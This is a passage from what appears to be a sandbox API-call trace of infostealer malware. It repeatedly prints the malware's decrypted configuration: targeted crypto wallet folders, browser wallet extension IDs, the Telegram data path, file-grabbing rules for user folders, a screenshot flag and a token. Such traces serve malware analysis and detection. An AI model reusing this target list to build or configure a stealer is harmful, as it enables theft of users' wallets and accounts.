Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0261.093] lstrlenW (lpString="System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3633 [0261.093] LocalAlloc (uFlags=0x40, uBytes=0x1c62) returned 0x6b9720 [0261.093] lstrlenW (lpString="System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3633 [0261.093] LocalAlloc (uFlags=0x40, uBytes=0x1ce2) returned 0x6bb390 [0261.094] StrCpyW (in: psz1=0x6b9720, psz2="System Info.txt" | out: psz1="System Info.txt") returned="System Info.txt" [0261.094] LocalFree (hMem=0x6bb390) returned 0x0 [0261.094] lstrlenW (lpString="System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3617 [0261.094] LocalAlloc (uFlags=0x40, uBytes=0x1c42) returned 0x6bb390 [0261.094] StrStrW (lpFirst="System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0261.094] lstrlenW (lpString="System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3617 [0261.094] LocalAlloc (uFlags=0x40, uBytes=0x1cc2) returned 0x6bcfe0 [0261.094] StrCpyW (in: psz1=0x6bb390, psz2="System Information: \n" | out: psz1="System Information: \n") returned="System Information: \n" [0261.095] LocalFree (hMem=0x6bcfe0) returned 0x0 [0261.095] lstrlenW (lpString="Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension 